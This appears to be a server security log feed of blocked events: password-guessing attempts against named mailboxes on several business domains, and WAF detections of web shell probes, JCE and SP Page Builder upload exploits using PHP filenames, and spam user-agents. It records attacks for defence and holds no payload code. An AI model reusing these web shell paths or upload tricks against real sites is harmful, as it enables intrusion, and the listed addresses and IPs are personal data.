rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-06 22:55:55 dovecot_login authenticator failed for H=([27.123.114.190]) [203.252.10.3]:18466: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-06 22:59:26 dovecot_login authenticator failed for H=([120.29.140.188]) [117.211.15.93]:53542: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-06 22:59:51 dovecot_login authenticator failed for H=([121.73.168.126]) [220.72.198.61]:44913: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.238.41.102
country_id: 660013
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/de15444de25f616wowfbg/fonts/de15444de25f.php7||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-06 23:10:21 dovecot_login authenticator failed for H=([107.181.168.150]) [206.62.136.130]:44752: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.238.41.102
country_id: 660013
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/de15444de25f616imlmqc/fonts/de15444de25f.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.238.41.102
country_id: 660013
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/de15444de25f616vakryr/fonts/de15444de25f.phtml||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.238.41.102
country_id: 660013
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/de15444de25f616ygorkr/fonts/de15444de25f.PHP||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-06 23:18:59 dovecot_login authenticator failed for H=([192.252.214.22]) [51.116.117.203]:10989: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-06 23:19:09 dovecot_login authenticator failed for H=([183.171.61.10]) [88.215.1.201]:52488: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-06 23:26:03 dovecot_login authenticator failed for H=([192.111.135.19]) [119.92.76.210]:45834: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-07-06 23:26:37 dovecot_login authenticator failed for H=([103.171.39.147]) [114.202.80.152]:35612: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-06 23:26:54 dovecot_login authenticator failed for H=([162.217.227.37]) [76.49.199.97]:48472: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.158.10
country_id: 99237
description:
2026-07-06 23:27:48 dovecot_login authenticator failed for H=([5.135.60.145]) [65.20.158.10]:59481: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 142.44.214.106
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-06 23:30:57 dovecot_login authenticator failed for H=([49.125.201.68]) [121.131.220.168]:45374: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.104.124
country_id: 3865483
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/business-gravity-img-10-1170x710/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-07-06 23:35:13 dovecot_login authenticator failed for H=(nsg-corporate-113.177.186.122.airtel.in) [167.250.118.3]:46015: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-06 23:34:40 dovecot_login authenticator failed for H=([183.236.130.182]) [41.214.10.178]:43034: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 173.239.198.181
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.116.75.51
country_id: 6252001
description:
2026-07-06 23:43:28 dovecot_login authenticator failed for H=([49.125.201.90]) [103.116.75.51]:37892: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.127.25.202
country_id: 6252001
description:
2026-07-06 23:43:40 dovecot_login authenticator failed for H=([174.75.211.195]) [20.127.25.202]:20112: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77469916
abuser: 188.119.26.40
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceyhf0ipu1.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-06 23:45:51 dovecot_login authenticator failed for H=([60.172.23.9]) [122.185.101.50]:40626: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-06 23:45:39 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com ([36.64.36.101]) [35.130.111.98]:60412: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-06 23:47:22 dovecot_login authenticator failed for H=([49.124.151.71]) [122.176.21.104]:34214: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 157.250.206.54
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://recentlybooked.com/\">beer mugs</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 46.1.195.138
country_id: 298795
domain: ogocindia.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:template-manager.jpg||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-06 23:47:42 dovecot_login authenticator failed for H=([210.123.87.143]) [119.198.191.180]:60091: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77469916
abuser: 46.1.195.138
country_id: 298795
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:template-manager.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-06 23:48:55 dovecot_login authenticator failed for H=([103.111.6.121]) [121.171.95.112]:49614: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.51
country_id: 1733045
description:
2026-07-06 23:49:31 dovecot_login authenticator failed for H=([197.231.202.201]) [49.124.151.51]:41726: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 70.187.72.47
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:51709.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b48ba6f4b92a9004368030f9ead43262d632de3||Title:0xbab08eb5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-06 23:54:10 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com (92-62-74-41.saimanet.kg) [34.41.211.48]:33802: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.197.168
country_id: 2661886
description:
2026-07-06 23:54:32 dovecot_login authenticator failed for H=h-176-10-197-168.a444.priv.bahnhof.se ([124.239.169.52]) [176.10.197.168]:55844: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-06 23:54:54 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [211.105.229.237]:45784: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-06 23:55:10 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se (45-181-101-92.plugartelecom.net.br) [83.226.56.106]:57228: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.249.10.17
country_id: 1835841
domain: mail.keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/uploader.php||SC:/home/keralapeople/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.120.142.233
country_id: 2510769
description:
2026-07-06 23:59:47 dovecot_plain authenticator failed for H=(uniss) [185.120.142.233]:42568: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-07 00:06:33 dovecot_login authenticator failed for H=([49.124.153.55]) [122.169.40.221]:35370: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.175.54.237
country_id: 1819730
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmctradeflow/public_html/wp-admin||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 151.244.79.85
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://techbullion.com/the-international-center-for-consciousness-studies-conference-a-global-platform-for-advancing-consciousness-research/\">ICCS Conference; International Center for Consciousness Studies; advancing consciousness research; ICCS by Dmitry Volkov; global platform for consciousness studies</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://get.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.228.38
country_id: 1880251
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/combinations/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.211.59.55
country_id: 2328926
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/company-profile/7-our-values HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-07 00:16:28 dovecot_login authenticator failed for H=(189-109-85-61.customer.tdatabrasil.net.br) [51.116.117.203]:13104: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-07 00:17:18 dovecot_login authenticator failed for H=([88.84.209.146]) [197.219.208.38]:32878: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 185.24.11.186
country_id: 2782113
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcevunkcf3x.xml.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.106
country_id: 1269750
description:
2026-07-07 00:16:46 dovecot_login authenticator failed for H=([174.75.211.195]) [122.185.146.106]:42160: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-07 00:18:06 dovecot_login authenticator failed for H=([72.37.216.65]) [50.217.40.11]:40208: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-07 00:18:08 dovecot_login authenticator failed for H=([190.67.106.221]) [220.86.176.134]:43683: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-07 00:18:21 dovecot_login authenticator failed for H=([184.151.85.100]) [103.55.89.5]:35864: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.115.141.58
country_id: 3703430
description:
2026-07-07 00:18:41 dovecot_login authenticator failed for H=([206.220.175.5]) [200.115.141.58]:57713: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-07 00:21:25 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi ([199.58.184.102]) [80.223.201.173]:33696: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-07 00:21:36 dovecot_login authenticator failed for H=([178.132.144.161]) [196.188.93.169]:2412: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-07 00:26:36 dovecot_login authenticator failed for H=([89.121.255.194]) [122.187.116.110]:37080: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-07 00:27:02 dovecot_login authenticator failed for H=([49.124.153.57]) [103.168.241.32]:60423: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://taketombo.la.coocan.jp/cgi/cot_bbs/yydhtml_b.cgi\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2026-07-07 00:30:41 dovecot_login authenticator failed for H=119-46-148-53.static.asianet.co.th ([68.71.247.133]) [119.46.148.53]:33170: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.jfva.org/test/yybbs/yybbs.cgi?list=thread\">Click here</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.93
country_id: 99237
description:
2026-07-07 00:32:35 dovecot_plain authenticator failed for H=(whied) [65.20.149.93]:39820: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-07 00:33:06 dovecot_login authenticator failed for H=([125.20.207.154]) [103.250.160.76]:56298: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-07-07 00:32:31 dovecot_plain authenticator failed for H=(gisupen) [154.144.243.93]:60138: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.39.132
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 220.247.130.33
country_id: 1210997
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:78120.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6c680ebef28b5c65e25300bceb1e3ea60eeb1bd8||Title:0x86727efc||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-07 00:36:02 dovecot_login authenticator failed for H=([95.188.68.96]) [190.157.13.210]:35300: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-07 00:36:08 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com (ip103-31-38-92.cloudhost.web.id) [213.66.196.11]:49896: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.54
country_id: 1733045
description:
2026-07-07 00:36:24 dovecot_login authenticator failed for H=([60.173.105.206]) [49.124.151.54]:38306: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-07 00:36:39 dovecot_login authenticator failed for H=([70.166.167.42]) [112.161.26.125]:39238: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-07-07 00:36:47 dovecot_login authenticator failed for H=([207.188.158.216]) [200.106.49.149]:41334: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-07-07 00:36:55 dovecot_login authenticator failed for H=([197.242.170.10]) [182.78.69.178]:47292: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 87.199.209.106
country_id: 2750405
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-37.87.199.209.106||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-07 00:38:40 dovecot_login authenticator failed for H=([14.99.61.248]) [182.95.232.66]:38092: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-07 00:39:16 dovecot_login authenticator failed for H=(54.126.103.87.rev.vodafone.pt) [125.19.218.50]:50694: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-07 00:39:43 dovecot_login authenticator failed for H=([31.173.0.26]) [188.122.37.97]:56490: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.69.175
country_id: 1861060
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.74.69.175
country_id: 1861060
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-07 00:44:32 dovecot_login authenticator failed for H=(abts-north-static-109.51.160.122.airtelbroadband.in) [91.86.88.24]:51944: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-07 00:44:56 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [182.95.109.138]:59766: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.208.105.88
country_id: 1819730
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/uploader.php||SC:/home/yukticlick/public_html/images/uploader.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.126.223
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.162.124.58
country_id: 2635167
description:
2026-07-07 00:50:21 dovecot_login authenticator failed for H=([218.92.236.102]) [20.162.124.58]:40052: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-07 00:49:41 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [103.120.116.162]:44601: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-07 00:53:39 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net (nsg-static-161.174.76.182-airtel.com) [66.45.144.201]:53018: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-07 00:54:00 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net ([1.209.170.44]) [111.70.34.21]:36847: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-07 00:57:37 dovecot_login authenticator failed for H=([218.159.144.187]) [207.254.40.89]:55610: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.83.74.217
country_id: 1819730
domain: mail.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/uploader.php||SC:/home/ddgalaxy/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.145.62.32
country_id: 6252001
description:
2026-07-07 00:59:25 dovecot_login authenticator failed for H=47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net ([49.124.152.226]) [47.145.62.32]:57852: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.198.221.50
country_id: 6252001
description:
2026-07-07 01:02:06 dovecot_login authenticator failed for H=([120.234.232.184]) [66.198.221.50]:37019: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-07 01:02:22 dovecot_login authenticator failed for H=([183.71.251.66]) [122.187.230.250]:49624: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.172
country_id: 1668284
description:
2026-07-07 01:02:26 dovecot_login authenticator failed for H=221-120-57-172.emome-ip.hinet.net ([211.62.73.218]) [221.120.57.172]:55202: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-07-07 01:02:39 dovecot_login authenticator failed for H=(secovi-rs.pae.gvt.net.br) [103.174.145.35]:49742: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-07 01:03:47 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com (broadband.actcorp.in) [82.209.191.11]:55440: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.93
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 \xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94\xe0\xb8\xab\xe0\xb8\xb5; <a href=\"https://onlyxvids.com/catalog/leaks-xxx/\">https://onlyxvids.com/</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-07 01:07:14 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([119.192.249.195]) [37.157.91.62]:38345: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


